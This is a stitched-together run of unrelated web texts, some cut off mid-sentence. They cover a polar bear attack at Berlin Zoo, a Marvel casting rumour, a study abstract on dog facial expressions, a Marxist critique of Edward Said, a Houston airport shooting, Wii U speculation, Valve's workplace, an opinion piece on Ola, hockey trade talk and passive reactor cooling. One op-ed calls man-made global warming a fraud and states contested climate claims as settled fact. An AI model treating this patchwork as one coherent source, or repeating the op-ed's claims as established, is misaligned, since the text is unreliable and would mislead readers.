She was bitten by one of the four older polar bears in the enclosure and not by the famous Knut, who took Germany by storm as a cub after he was hand-raised by a keeper.
Build-up to the attack: The woman swims towards a polar bear
Still under attack, the woman swims for and then finally grabs a rope hanging down by rescuers
She finally escapes the bears and is rushed off to hospital for treatment
It is not known why the woman pulled the dangerous stunt but she initially appeared to be elated as she swam towards a bear in the enclosure.
It is not easy to access the enclosure, which is surrounded by a fence, a line of prickly hedges and a wall.
The woman's cardigan hangs from the polar bear's jaws after the attack
Heiner Kloes, a zoo spokesman, said keepers pushed the huge bear away before pulling the woman out.
She was taken to a hospital for treatment where she is now recovering after undergoing surgery to heal her wounds.
Watch the polar bear attacking the woman at Berlin Zoo...[[wysiwyg_imageupload:5856:]]
A rumor hit about a week ago that said Jason Momoa was in negotiations with Marvel Studios to play Drax the Destroyer in the Guardians of the Galaxy movie.
While that rumor was shot down by a reporter from The Hollywood Reporter, it has since also been rumored that Momoa turned down Marvel Studios because they weren't offering enough money or vice versa, or whatever.
And then there was some report how Marvel gets their actors to sign for peanuts in the hopes that the other movies they do - that aren't Marvel Studios movies - land lucrative contracts.
That's all fine and dandy for guys like Chris Hemsworth or even Chris Evans and possibly with Chris Pratt.
Those roles are lead roles.
Drax the Destroyer is not.
This is pure speculation on my part - as I do read the comics - but I'm betting that if the Momoa not signing rumor is true, it's because it was only a one picture deal.
So, as Momoa is already a known name - regardless of perceived box office bombs - "Drax the Destroyer" really isn't going to do much for the actor, I am guessing.
And why am I guessing that?
Because more than likely Drax is going to bite the big one at the hands of Thanos.
We've already confirmed that Thanos is going to be in not only the Guardians of the Galaxy movie, but The Avengers 2 as well.
So that doesn't look good for any members of the Guardians of the Galaxy, save Chris Pratt, perhaps, as the Guardians just might be cannon fodder for The Avengers 2.
Of course the rumor wasn't true to begin with so it really doesn't matter, right?
And let's also not forget that this might be Iron Man 4.
[[wysiwyg_imageupload:5857:]]
Or maybe it was more than a one picture deal?
[[wysiwyg_imageupload:5858:]]Abstract How wolves were first domesticated is unknown. One hypothesis suggests that wolves underwent a process of self-domestication by tolerating human presence and taking advantage of scavenging possibilities. The puppy-like physical and behavioural traits seen in dogs are thought to have evolved later, as a byproduct of selection against aggression. Using speed of selection from rehoming shelters as a proxy for artificial selection, we tested whether paedomorphic features give dogs a selective advantage in their current environment. Dogs who exhibited facial expressions that enhance their neonatal appearance were preferentially selected by humans. Thus, early domestication of wolves may have occurred not only as wolf populations became tamer, but also as they exploited human preferences for paedomorphic characteristics. These findings, therefore, add to our understanding of early dog domestication as a complex co-evolutionary process.
Citation: Waller BM, Peirce K, Caeiro CC, Scheider L, Burrows AM, McCune S, et al. (2013) Paedomorphic Facial Expressions Give Dogs a Selective Advantage. PLoS ONE 8(12): e82686. https://doi.org/10.1371/journal.pone.0082686 Editor: Claire Wade, University of Sydney, Australia Received: July 8, 2013; Accepted: October 27, 2013; Published: December 26, 2013 Copyright: © 2013 Waller et al. This is an open-access article distributed under the terms of the Creative Commons Attribution License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original author and source are credited. Funding: The study was funded by a WALTHAM Foundation Research Grant to BMW, JK and AB. The funder had some input during study design, but did not influence study findings, interpretation of results or writing of the manuscript. The funder had some input during study design, but did not influence study findings, interpretation of results or writing of the manuscript. Competing interests: The authors declare that author SM is an employee (Research Manager) of WALTHAM, a division of Mars Inc. All other authors have declared that no competing interests exist. This does not alter their adherence to all the PLOS ONE policies on sharing data and materials.
Introduction Wolves were domesticated early in the history of human civilization [1], and have since evolved into dogs whose lives are now inextricably linked to those of humans. The initial steps that led to wolves becoming domesticated, however, is unknown. One hypothesis suggests that wolves underwent a process of self-domestication as tamer individuals took advantage of opportunities to scavenge from human |
centuries, is so crystallized, that it has lasted down to our times...."
The approach of the great Marxists to individual artists, and, in particular, Trotsky's approach to Dante and Pushkin, is diametrically opposed to Said's method in regard to writers such as Jane Austen. Austen (1775-1817) was the daughter of a Tory parson and expressed the interests and outlook of the landed aristocracy.
In her novel, Mansfield Park, she takes it for granted that the well-being of the novel's central figures depend on the income extracted from sugar plantations in the West Indies, on which slavery prevailed.
Despite being couched in elaborate and obfuscating language, Said's argumentation is of the most vulgar, ahistorical and, frankly, psychologically insensitive character. After presenting his arguments regarding the importance of the Antigua estates to the novel, he proceeds to scold Austen: "All the evidence says that even the most routine aspects of holding slaves on a West Indian sugar plantation were cruel stuff. And everything we know about Austen and her values is at odds with the cruelty of slavery."
So Said declares, "In order more accurately to read works like Mansfield Park, we have to see them in the main as resisting or avoiding that other setting...." In other words, the importance of the novel exists in what is not present, in what is suppressed.
Said is reduced to playing games at this point. He first suggests that it "would be silly to expect Jane Austen to treat slavery with anything like the passion of an abolitionist or a newly liberated slave." However, apparently the practitioners of the "rhetoric of blame," the cultural nationalists, attack her, "retrospectively, for being white, privileged, insensitive, complicit." This raises the question in Said's mind, "do we therefore jettison her novels as so many trivial exercises in aesthetic frumpery?"
Here Said poses as the urbane defender of world culture—but it is important to note the grounds on which he does so. He declares, "Not at all, I would argue, if we take seriously our intellectual and interpretative vocation to make connections, to deal with as much of the evidence as possible, fully and actually, to read what is there or not there, above all, to see complementarity and interdependence instead of isolated, venerated, or formalized experience that excludes and forbids the hybridizing intrusions of human history."
In other words, cutting through the doubletalk, Austen is of historical interest as a specimen of a particular social outlook and as a contrast to what appeared later in other parts of the world in the form of the "emergence of a post-colonial consciousness."
Nobody, as Trotsky pointed out, forbids a reader from assuming the role of a researcher and approaching a piece of literature as a mere historical document, providing he or she does it conscientiously and objectively, but this is quite distinct from the aesthetic appreciation of a work of art.
Mansfield Park is an extraordinary novel in which Austen exhibits her unquestionable grasp of the "laws of motion" of emotional life. The depiction of the characters' complex and continually changing relations is objectively true and speaks to the reader today, to borrow from Trotsky, not because Austen was a Tory parson's daughter of the early nineteenth century "but, to a large extent, in spite of that circumstance."
The novel presents human personality in the form of vivid and pleasurable portraits which objectively add to our own grasp of how people, in the class society which still exists, live together. But Said can only see in Mansfield Park the defense of "the values associated with... ordination, law and propriety."
Said's views, and the views of a myriad of "left" literary and art critics, run directly counter to those of classical Marxism. He (and they) can only conceive of art as either the direct product of economic conditions (in Labriola's words, "effluvia, ornaments, emanations and mirages of material interests") or the result of an inexplicable and isolated spark of genius.
Typically, given Said's propensity for qualification and equivocation, he expresses this in the form of an essentially dishonest disclaimer, denying that either of the above-mentioned views is his: "But for all their social presence, novels are not reducible to a sociological current and cannot be done justice to aesthetically, culturally, and politically as subsidiary forms of class, ideology, or interest. Equally, however, novels are not simply the product of lonely genius, to be regarded only as manifestations of unconditioned creativity." (Reviewer's emphasis.)
This raises an obvious question: if novels are not reducible to "class, ideology, or interest"—which is how Said actually treats them in most of his book—and they are not simply the manifestations of unconditioned creativity, then what are they? One would search in vain for a straightforward answer to this question.
In the final analysis, the radical proponents of "culture as ideology" are doing the intellectual work of the bourgeoisie. The attack on the notion that art cognizes life, the hostility to art itself, goes hand in hand today with attacks on science and technology from sections of the ecological movement, and open right-wing attacks on the intellectual conquests of the Enlightenment.
Consciously or not, Said is speaking as one who deeply fears the disruptive and potentially subversive role of art. Trotsky and André Breton were not idly chattering when they wrote in 1938, "True art, which is not content to play variations on ready-made models but rather insists on expressing the inner needs of man and of mankind in its time—true art is unable not to be revolutionary, not to aspire to a complete and radical reconstruction of society."
It is from this standpoint, as the greatest proponent of the genuine artist's truth-telling qualities—the ability to uncover all that is false and oppressive, the natural attraction to people's highest aspirations and desires—that Marxism today needs to approach problems of aesthetics.NBC's Pete Williams reports on the breaking news out of a Houston airport, where a man reportedly fired shots inside a terminal in a "planned suicide."
A man shot himself to death Thursday at the main Houston airport after firing into the air with an assault rifle, witnesses and law enforcement sources told NBC News.
The man had a suicide note in a backpack, the sources said. They said he was fired on by federal agents before producing a handgun and killing himself.
Authorities said the situation was contained and there was no public danger. It happened at Terminal B of George Bush Intercontinental Airport, outside of the secure area.
The Federal Aviation Administration stopped some flights arriving at the airport, one of the nation’s busiest. Police were turning cars away from the terminal.
The U.S. Immigration and Customs Enforcement said a homeland security agent was involved in the shooting but provided no other details.
Pete Williams and Miranda Leitsinger of NBC News contributed to this report.
This story was originally published onThe next-generation console wars are officially upon us, as an analyst claim that the Wii U is 50 percent more powerful than the PS3 makes the rounds of a web that's hungry for any shred of information on Nintendo's recently unveiled console hardware.
Industrygamers.com scored the following quote from Sterne Agee analyst Arvind Bhatia: "Some of the developers we spoke to indicated to us that the console will have 50 percent more processing power compared to the PlayStation 3 or Xbox 360. This is yet to be confirmed by Nintendo."
The only sane response to this claim is, "for God's sake, I should hope so!" The Playstation 3's hardware is old in computer terms; and the same goes for the brains of the Xbox 360. The chips in both of these consoles are so ancient in Moore's Law years, that at some point in the middle of Wii U's lifecycle, a leading-edge smartphone will have 50 percent more computing power than the PS3. Seriously, in an interview with Ars last year, iD Software guru John Carmack guesstimated that difference between Apple's A4 and the Xbox 360 was between between four and ten times (for the CPU and the GPU), and that gap is closing every year.
Speaking of Carmack, he recently gave an interview to Gamespot where he characterized the modern PC as ten times more powerful than the current console generation, so a Wii U that has a 50 percent performance edge over the Playstation 3 isn't anything for the hardcore gaming crowd to jump up and down about. Indeed, that level of performance would mean that Nintendo is keeping with the approach of the last few console generations, which has been to focus on delivering cheap, reliable hardware that only moderately improves the graphics of the previous generation. The only difference here is that the "previous generation" baseline appears to be the PS3 and Xbox, and not Nintendo's own Wii.
Certainly, the new hardware will be a quantum leap up from the Wii. But the Wii's hardware was a straightforward iteration of the Gamecube hardware, which was itself a clocked-up, slightly modified version of the PowerPC chips that once powered Apple's laptops. This meant that the Wii was really underpowered compared to the Xbox 360 and PS3 (not that this held back Nintendo's sales).
The only public information that IBM has given on the Wii U's CPU is that it's based on the same tech that powers Watson, the company's Jeopardy-winning supercomputer. Watson uses the company's POWER7 architecture, and we have tried unsuccessfully to get IBM to confirm that the Wii U's hardware is a POWER7 derivative.
We're looking into what this would mean for the new console's performance prospects, so stay tuned for more coverage on that front.The second shoe is preparing to drop to shatter the world view of so-called Progressives. Coming, global revelations will demonstrate the fraud behind the theory of man-caused, catastrophic, global warming, just like the real world has shattered the falsehoods behind Obamacare.
That is because the underlying reason for both frauds was the same: to expand government power. Enablers went along with the fraud in both cases for the same underlying reason – political correctness. In both cases, going along with the cause for the assumed public good without raising questions was considered the politically correct thing to do for all “good” people. Soon the enablers in both cases will have to pay the price for participating in and perpetuating the fraud.
This past weekend, Peggy Noonan summarized the Obamacare fraud in the Wall Street Journal, writing,
“They said if you liked your insurance you could keep your insurance—but that’s not true. It was never true! They said if you liked your doctor you could keep your doctor—but that’s not true. It was never true! They said they would cover everyone who needed it, and instead people who had coverage are losing it—millions of them! They said they would make insurance less expensive—but it’s more expensive! Premium shock, deductible shock. They said don’t worry, your health information will be secure, but instead the whole setup looks like a hacker’s holiday. Bad guys are apparently already going for your private information.”
That could have been drawn precisely from my commentary in this space last week.
The fact that Obamacare was always about power and not people is perfectly illustrated by the case of California resident Edie Littlefield Sundby. Since her gall bladder cancer was discovered 7 years ago, her private insurance company, United Healthcare, has spent $1.2 million to save her life. Edie explains that the insurance company, “has never once questioned any treatment or procedure recommended by my medical team. The company pays a fair price to the doctors and hospitals, on time, and is responsive to the emergency treatment requirements of late-stage cancer. Its caring people in the claims office have been readily available to talk to me and my providers.”
But Obamacare is driving United Health Care out of business altogether in California. So Edie is one of millions who have recently received an insurance cancellation letter, effective December 31. Just go to the Covered California Obamacare Exchange, which is working just as intended Obama has said, and get your Obamacare, “progressive” Obama apologists say. But there is no insurance on the highly touted Covered California Obamacare Exchange that includes coverage for the team of doctors that have kept her alive for a period with just a 2% probability, who range from her hometown of San Diego, to Stanford University in northern California, to Houston. Even though United Healthcare did, for an affordable price, before Obamacare.
But the response from the Obama White House has not been “progressive” concern for Edie. Instead, White House operatives have disparaged her. Now that the federal government has raised spending, taxes, and regulatory burdens by trillions to take over health care, the “progressives” are not worried about Edie.
Similarly, the theory of man-caused, catastrophic, global warming is embraced not because of any “science,” (that sham is for the “useful idiots,”), but because it is a justification for a government takeover of the energy industry, with massive increases in regulation, taxes and government spending. The United Nations loves it because it inspires fantasies of the UN growing up to be a world government, with real government powers of global taxation, spending and regulation, all “to save the planet.” Scientists who go along with the cause are rewarded not only with praise for their worthy social conscience, but also with altogether billions in hard, cold cash (government and environmental grants), for their cooperation in helping to play the “useful idiots.” Moreover, many academic scientists are “progressives” themselves, and so favor sharp increases in government spending, taxes and regulation, because they are certain they know how to run your life better than you do.
That is what the UN’s Intergovernmental Panel on Climate Change (IPCC) is all about. On September 27, the IPCC issued the final version of the Summary for Policymakers (SPM) for its fifth comprehensive Assessment Report (AR-5) since 1992 on the supposed science of anthropogenic, catastrophic, global warming. But the IPCC has intellectual competition now. A peer group of independent, private sector scientists has organized the Non-governmental International Panel on Climate Change (NIPCC). Earlier in September, the NIPCC issued its own comprehensive, voluminous report on the science of climate change, Climate Change Reconsidered II: Physical Science, published by the Heartland Institute.
If you are a true believer in anthropogenic, catastrophic, global warming, you don’t know what you are talking about unless you also have at least looked through the hundreds of pages of calm, dispassionate science in Climate Change Reconsidered II, which also reviews the peer-reviewed literature on climate change. Go ahead, I dare you. What are you afraid of?
Now 4 lead contributing authors of Climate Change Reconsidered II, Drs. Craig Idso, Robert Carter, S. Fred Singer, and Willie Soon, have issued a Scientific Critique of IPCC’s 2013 “Summary for Policymakers.” They find that “the new SPM reveals the IPCC has retreated from at least 11 alarmist claims promulgated in its previous reports or by scientists prominently associated with the IPCC. The SPM also contains at least 13 misleading or untrue statements, and 11 further statements that are phrased in such a way that they mislead readers or misrepresent important aspects of the science.”
For example, the authors report, “The IPCC concedes for the first time that a 15 year long period of no significant warming occurred since 1998 despite a 7% rise in carbon dioxide (CO2).” The authors explain, “The statement represents a significant revision in the IPCC thinking, because their concern about dangerous warming rests upon the assumption that temperature increases will proceed in parallel fashion with CO2 increases.” Climate Change Reconsidered II documents that the same official temperature records used by the IPCC going back over 100 years, and proxy temperature records going back deep into the geologic time scale, show that temperatures have not changed in parallel with CO2 levels.
Central to the IPCC’s argument for anthropogenic, catastrophic global warming is its dozens of global climate models and their projections of growing global temperatures over time. But the SPM now concedes that these models have failed to project the now admitted lack of warming over the last 15 years. The draft of the SPM circulated in June stated quite accurately that the “Models do not generally reproduce the observed reduction in surface warming trend over the last 10 to 15 years.” The final draft released in September covers the same by saying, “There are…differences between simulated and observed trends over periods as short as 10 to 15 years (e.g., 1998 to 2012).”
Nevertheless, despite this failure of the underlying climate models, the SPM states, “It is extremely likely that human influence on climate caused more than half of the observed increase in global average surface temperature from 1951--2010.” The prior Assessment Report issued in 2007 had said that this human contribution to global warming was only “very likely.” So as the IPCC climate models admittedly diverge from reality, the IPCC conclusion is that the human contribution to global warming (which it admits has not been happening for quite a while now) is only all the more likely.
Indeed, the models have not been validated by past recorded temperatures, and, therefore, cannot be a sound basis for costly regulation to counter global warming, as President Obama’s EPA is now pursuing. As the NIPCC’s recent report states, “We conclude the current generation of global climate models are unable to make accurate projections of climate even 10 years ahead, let alone the 100 year period that has been adopted by policy planners. The output of such models should therefore not be used to guide public policy formulation until they have been validated and shown to have predictive value.”
The SPM also concedes that the Antarctic ice cap “increased…(by) 1.2%--1.8% per decade between 1979 and 2012.” So even the UN’s IPCC now concedes that the South Pole’s ice cap has been increasing all along, rather than melting. The increase in Antarctic sea ice now totals about 1 million square kilometers. In fact, the extent of Antarctic sea ice is now the greatest ever measured.
Arctic sea ice has historically fluctuated in regular cycles. While it did decline during the 1978 to 1998 period, that decline has now reversed, falsifying alarmist predictions that the North Pole would be free of ice by 2013. Globally, some glaciers have been melting and receding. Others have been growing and expanding. Overall, the total extent of global sea ice has not been declining at any enhanced rate since the end of the Little Ice Age around 150 years ago.
But the SPM misleads as to concerns over rising sea levels, stating, “It is very likely that there is a substantial anthropogenic contribution to the global mean sea level rise since the 1970s.” No, actually, it is not likely at all. The NIPCC authors state, “sea level rise has been occurring since long before the human era, and at rates higher than those observed in human history.” Indeed, during that human era, “sea level rise over the past several centuries has averaged about 7 inches, and continues to rise at that rate with no evidence of acceleration,” as Larry Bell reported for Forbes on October 15.
The SPM also misleads when it states, “Warming of the climate system is unequivocal, and since the 1950s many of the observed changes are unprecedented.” The NIPCC authors explain, “Though the IPCC’s favored temperature record (HadCRUT) depicts a rise of 0.4 deg. C since 1950, other temperature records show little or no warming at all in the second half of the twentieth century.” These include the US GISS land surface record, sea surface temperature records, including Hadley NMAT, atmosphere temperature records, such as Hadley radiosonde and satellite MSU, and land surface temperature proxies.
The NIPCC authors conclude in response to the SPM,
“It is likely that the HadCRUT temperature record underestimates the impact of urban heat islands [in falsely exaggerating] surface temperature records….[Moreover,] the post-1950 warming shown by the Hadley record is of about the same magnitude and rate as the known natural warming between 1910 and 1940, and is therefore not unprecedented.”
Bell added in his October 15 commentary, “In reality, the earth has been warming ever since it began thawing out from the Little Ice Age around 1850, and temperatures are still cooler than those that have prevailed about 90% of the time over the past 10,000 years.”
Among Climate Change Reconsidered II’s conclusions,
“neither the rate nor the magnitude of the reported late twentieth century surface warming (1979-2000) lay outside natural variability, nor was it in any way unusual compared to earlier episodes in Earth’s climate history. Furthermore, solar forcings of temperature change are likely more important than is currently recognized, and evidence is lacking that a 2 degree C increase in temperature (of whatever cause) would be globally harmful.”
Richard Lindzen is Professor of Atmospheric Sciences emeritus at the Massachusetts Institute of Technology. There is no climate scientist in the world with a better professional pedigree than Lindzen. It was his apparent understanding of the quality of the climate science peddled by the IPCC and its cohorts that led him to write his recent article, “Science in the Public Square: Global Climate Alarmism and Historical Precedents.”
Lindzen writes,
“Global climate alarmism has been costly to society, and it has the potential to be vastly more costly. It also has been damaging to science, as scientists adjust both data and even theory to accommodate politically correct positions. How can one escape from the Iron Triangle (ambiguous statements from scientists translated into alarmism by advocates and the media, with politicians responding by feeding the scientists taxpayer money) when it produces flawed science that is enormously influential and is forcing catastrophic public policy. There are past examples. In the U.S. in the early 20th century, the eugenics movement had coopted the science of human genetics and was driving a political agenda. The movement achieved the Immigration Restriction Act of 1923, as well as forced sterilization laws in several states. The movement became discredited by Nazi atrocities, but the American consequences survived well into the 1960s. In the Soviet Union, Trofim Denisovich Lysenko (1898-1976) promoted the Lamarckian view of the inheritance of acquired characteristics. It fit with Stalin’s megalomaniacal insistence on the ability of society to remold nature….However, opposition within the Soviet Union remained strong, despite ruthless attempts to suppress dissenters…. Global warming differs from the previous two affairs. Global warming has become a religion. A surprisingly large number of people seem to have concluded that all that gives meaning to their lives is the belief that they are saving the planet by paying attention to their carbon footprint. There may be a growing realization that this may not add that much meaning to one’s life, but outside the pages of the Wall Street Journal, this has not been widely promulgated, and people with no other source of meaning will defend their religion with jihadist zeal. In contrast to Lysenkoism, Global Warming has a global constituency, and has successfully coopted almost all of institutional science. However, the cracks in the scientific claims for catastrophic warming are, I think, becoming much harder for the supporters to defend.”
Lindzen concludes that the previous examples of the eugenics movement and Lysenkoism lasted 20 to 30 years, which is about equal to the run of the global warming movement since its American rollout in 1988. He suggests that the global warming movement may be just about spent as well.
Climate Change Reconsidered
This divergence is already approaching a full degree Celsius, which already demonstrates that the models are more fairy tale than science. But in the coming years that divergence will only grow and grow, ultimately not only discrediting but falsifying the theory of anthropogenic, catastrophic global warming.
The second relates to the growing specter of global cooling. Lawrence Solomon reports in the Financial Post in an article published on October 31, “Global Cooling Consensus”:
“‘Real Risk of a Maunder Minimum ‘Little Ice Age’ announced the BBC this week, in reporting startling findings by Professor Mike Lockwood of Reading University. ‘Professor Lockwood believes solar activity is now falling more rapidly than at any time in the last 10,000 years [raising the risk of a new Little Ice Age]…, explained Paul Hudson, the BBC’s climate correspondent. If Earth is spared a new Little Ice Age, a severe cooling as ‘occurred in the early 1800s, which also had its fair share of cold winters and cold summers is, according to him, ‘more likely than not to happen.”
Solomon adds,
“During the Little Ice Age, the Sun became eerily quiet, as measured by a near disappearance of the sunspots typically present. Solar scientists around the world today see similar conditions, giving impetus to the widespread view that cold times lie ahead. ‘When we have had periods where the Sun has been quieter than usual we tend to get these much harsher winters’ echoed climatologist Dennis Wheeler from Sunderland University, in a Daily Express article entitled ‘Now get ready for an ‘Ice Age’ as experts warn of Siberian winter ahead.’”
Solomon cites further authorities, continuing,
“In a paper published this month by the American Meteorological Society, the authors demolish the claims by IPCC scientists that the Sun could not be responsible for major shifts in climate. In a post on her website this month, Judith Curry, Chair of the School of Earth and Atmospheric Sciences at the Georgia Institute of Technology, all but mocked the IPCC assertions that solar variations don’t matter. Among the many studies and authorities she cited: the National Research Council’s recent report, ‘The Effects of Solar Variability on Earth’s Climate,’ and NASA, former home of global warming guru James Hansen.”
Solomon reported that in a January press release, “To bolster the argument that solar activity could explain the Little Ice Age as well as lesser changes, NASA listed some dozen authorities, including Dan Lubin of the Scripps Institution of Oceanography, whose research on other sun-like stars in the Milky Way suggest that ‘the Sun’s influence could be overpowering.’”
Solomon further reports, “In the last two years, the scientific community’s openness to examining the role of the Sun in climate change – as opposed to the role of man – has exploded.” That includes “scientists at the Russian Academy of Science’s Pulkovo Observatory, whose predictions in the last decade that global cooling would start in this decade are looking especially prescient.” It also includes George Kukla of Columbia University, who explained in 2007, “None of us expected uninterrupted continuation of the [cooling] trend [of the 1960s and 1970s]. Solomon concludes, “Global warming always precedes an ice age, Kukla explained. The warming we saw in the 1980s and 1990s, in other words, was expected all along, much as the calm before the storm.”
In other words, global warming is starting to sound a lot like Obama promising that under Obamacare if you like your insurance, you can keep your insurance, or if you like your doctor, you can keep your doctor, or that Obamacare would cause the cost of health insurance to go down, or provide for universal coverage.
The bottom line is that America dodged a bullet in the 2000 Florida recount. Because in an October 29 Wall Street Journal commentary, Al Gore sounds like he has gone mad with his grand delusions as personal global savior. Gore tries to warn investors about a coming subprime carbon asset bubble, where fossil fuel investments will be dangerously overpriced, because most investors are overlooking the risk of global warming to investments in fossil fuel assets. He cites a “Carbon Budget” calculated by the “International Energy Agency,” which supposedly means that “at least two-thirds of fossil fuel reserves will not be monetized…, creating ‘stranded carbon assets.” He warns investors to look out for “sociopolitical pressures (e.g., fossil-fuel divestment campaigns, environmental advocacy, grass roots protests and changing public opinion) [which] could create an environment in which carbon-intensive businesses could lose their ‘license to operate,’ thereby stranding assets.”
All of which spells opportunity to me. By all means, investors, look out for those fossil fuel divestment campaigns and grass roots protests, which would signal that fossil fuel investments had become artificially undervalued. In other words, take such developments as buy signals. And if any of you want to divest yourselves of the social burden of fossil fuel investments, just send title to those investments to me, care of Forbes magazine.Valve doesn’t like to say things. Where’s Half-Life 2: Episode Three? Silence. Why has Left 4 Dead 2’s Cold Stream DLC taken nearly a year? Silence. What does Gordon Freeman’s voice sound like? Silence. Yesterday, though, a Valve job listing seeking out new hardware tech wizards for its shadowy developer coven got the whole Internet talking. And, somewhat shockingly, Valve’s decided to talk back.
Admittedly, this isn’t entirely unprecedented. Last time Gabe Newell emerged from his patented Gabe Cave, glorious wisdom beard gleaming from the mystical energies of a million gaming revelations (or maybe just the sun), he briefly mentioned Valve’s forays into wearable computing. Now, though, Valve developer and former Quake coauthor Michael Abrash has blown the lid off the subject with an extremely interesting blog post. Need proof? Well, I’ve brought you these snippets. Because I love you.
“By ‘wearable computing’ I mean mobile computing where both computer-generated graphics and the real world are seamlessly overlaid in your view; there is no separate display that you hold in your hands (think Terminator vision). The underlying trend as we’ve gone from desktops through laptops and notebooks to tablets is one of having computing available in more places, more of the time. The logical endpoint is computing everywhere, all the time – that is, wearable computing – and I have no doubt that 20 years from now that will be standard.” “What does a wearable UI look like, and how does it interact with wearable input? How does the computer know where you are and what you’re looking at? When the human visual system sees two superimposed views, one real and one virtual, what will it accept and what will it reject? To what extent is augmented reality useful – and if it’s useful, to what extent is it affordably implementable in the near future? What hardware advances are needed to enable the software? And much, much more – there are deep, worthy challenges everywhere you look.”
He also noted that he thinks the shift to wearable computing could begin as soon as 3-5 years from now. Google concurs. Perhaps equally fascinating for entirely different reasons, though, is Abrash’s breakdown of Valve’s workplace organizational structure. The short version? There is none.
“How could a 300-person company not have any formal management? It takes new hires about six months before they fully accept that no one is going to tell them what to do, that no manager is going to give them a review, that there is no such thing as a promotion or a job title or even a fixed role (although there are generous raises and bonuses based on value to the company, as assessed by peers). That it is their responsibility, and theirs alone, to allocate the most valuable resource in the company – their time – by figuring out what it is that they can do that is most valuable for the company, and then to go do it. That if they decide that they should be doing something different, there’s no manager to convince to let them go; they just move their desk to the new group (the desks are on wheels, with computers attached) and start in on the new thing.”
Granted, projects tend to elect leads and less freeform structures, but there’s apparently no official titles or politics to it. Same goes for Steam, which – given the scope of the operation – is frankly astounding. I highly recommend you read through the whole thing if you get the chance. It’s a brilliant look inside a company whose doors are generally so firmly shut that I just sort of assumed people left the building via some form of secret underground chute system. Also, this is the closest thing to an on-paper outline of Valve Time we’re ever gonna get.
The whole thing carries a pervasive “you should totally come work for us” vibe too, which is an interesting shift for a company that’s traditionally satiated its highly selective tastes with only the absolute cream of the crop. And while I don’t doubt that it’s still setting out a series of Genius Traps to catch only the best and the brightest, Abrash almost seems to be opening the floodgates. Maybe it’s revving up to tackle wearable computing in a big way, or maybe it’s a load of different factors. Maybe I’m reading into this too much. But it really is quite the thing. Also, I can’t wait to play a version of Half-Life where my eyes are guns.Opinion
The absurd rules which Ola has endorsed in court.
In a decade or so, when we look back at why the Indian startup ecosystem failed to attain its true potential, Ola will make for a good case study.
Healthy competition is key in a free market. Competition gives customers choice, helps prevent monopolies and encourages innovation and efficiency. But thanks to Ola, neither is the competition healthy, nor the market free.
A free market isn’t one that’s free of all regulation. Regulations are important, particularly when the market fails, and has to be pushed towards desired results. But Ola is not backing regulations, it is helping pave the way for a crony startup ecosystem that thrives on corruption and restrictive legislation that benefits only a few. It is opening the field to a war where court battles, political intervention and lopsided regulations are tools of victory, not better technology and efficiency.
So, what has Ola done?
Recently, it filed an affidavit at the Karnataka High Court in a case on the legal validity of the Karnataka government’s regulations for taxi aggregators.
In the affidavit, Ola has endorsed the new regulations and gloats about the fact that it is the only aggregator to have got the license.
It then says that Uber’s petition challenging the rules are "motivated and has been filed in an attempt to bypass the laws of the land by foreign companies who run their operations in this country for profit without due regard for the applicable laws." (emphasis added)
It points out that UberMOTO, the two-wheeler service, is in violation of the law, and says that without a license, Uber has no right to function.
First, let’s get the “foreign funding” bogey out of the way.
As Uber points out in its response to Ola’s affidavit, “What makes Uber ‘foreign’? The fact that we are established in San Francisco but have a hyperlocal team solving problems that are locally relevant. Or that, just like our competitors, we received most of our funding from ‘foreign’ investors.”
As a blogger points out, “Ola’s own software runs on Android and uses GPS, both American inventions. Among Ola’s investors, Softbank is Japanese, Didi Chuxing is Chinese and DST Global is run by a Russian billionaire. And perhaps most tellingly, Ola’s own name means Hello…in Spanish.”
Not only does Ola’s jingoistic barb at Uber for being foreign reek of hypocrisy, it betrays their strategy of beating the competition by whipping up nationalist passions. Is Ola going to be on the council for Swadesh Jagran Manch next and hit the streets wearing saffron?
And it is laughable that Ola is pointing out that Uber is in India to make ‘profit’ – what are Ola’s foreign funders in India for, social service?
Problematic rules
The absurdity of Ola’s endorsement of the Karnataka On-demand Transportation Technology Aggregators Rules, 2016 becomes clear when you start reading the rules.
The very reason why aggregator services in any sector became disruptive and revolutionary is because they did not have to own the service to provide it to customers. In a fragmented market where there was a mismatch in supply and demand, aggregators played the crucial role of bridging the gap. Karnataka’s rules are an assault on this very core concept, because they mandate that the operator must have a fleet of at least 100 taxies either owned by the company or contracted through agreements with individual taxi permit holders.
This is absurd for two reasons: If you own 100 cabs then you are not a service aggregator anymore. Further this prevents any new player from entering the market now unless they have the capital to own 100 cabs or strike a deal with 100 permit holders. This is classic anti-competitive license raj.
And then come the impractical benchmarks for drivers, with a strong dose of Kannada parochialism.
Here are some of the qualifications for the drivers:
He shall have a minimum driving experience of 2 years
He shall be a resident of Karnataka for a minimum period of two years.
He shall have a working knowledge of Kannada and any one other language, preferably English.
So if I am a migrant from Tamil Nadu with driving skills, looking for a job in Bengaluru and have a car, Ola and Uber are not for me. This is government protectionism 101.
There are all sorts of other obtuse rules, from the color of license plates to where the driver's ID must be placed in the car – all of which could get the license cancelled. Such rules are usually of no use, except when a corrupt babu wants to make some money on the side. You can look up the rules here. With these rules, the babus have created a nice little cottage industry to milk startups, and Ola has endorsed it.
Not surprisingly, Uber has complained that it is not being given the licence in spite of submitting all the required details. It is anybody's guess what game Ola is playing here.
This is not to say that Uber does not have its own problems, or that the rules are all bad. For instance, the safety rules in the Karnataka Act are very important. But to see Ola, an Indian startup, be in bed with the bureaucracy and endorse such impractical regulations is a sad reminder that, in India, it isn’t enough to reform the government, we have to reform the private sector too.
Next time you take an Ola, remember what the company is doing to the startup ecosystem.Oh yeah, that’s the stuff.
The Toronto Maple Leafs might be moving Tyler Bozak before the March 2nd trade deadline, with Bob McKenzie characterizing it as a 50/50 shot during an appearance on TSN 1050. Though it likely won’t happen unless someone steps up and offers fair value. To be honest, I’d be down with “close-to-fair” value, if only to get rid of that contract.
There’s value alone in shedding $4.2M in cap space for the next three |
of a diverse heat sink
Generation of independent electricity
Independence of external power supplies
Independence of operator actions or manual initiation
No need for external equipment
No need for additional water inventories.
Concept
The simplest way to remove residual heat from a boiling water reactor is to attach a heat sink, that is, a heat exchanger, to the primary circuit that condenses steam. This results in a natural circulation within reactor pressure vessel and the corresponding pipes. Similar to the process in concepts involving isolation condensers, the steam rises to the heat exchanger, where it is condensed, and flows back towards the reactor pressure vessel, forced by gravity. In order to maximize the driving force, it is advisable to place the heat exchanger as high as possible above the core. Nevertheless, it needs to be located within the containment, in order to assure the retention of primary system steam.
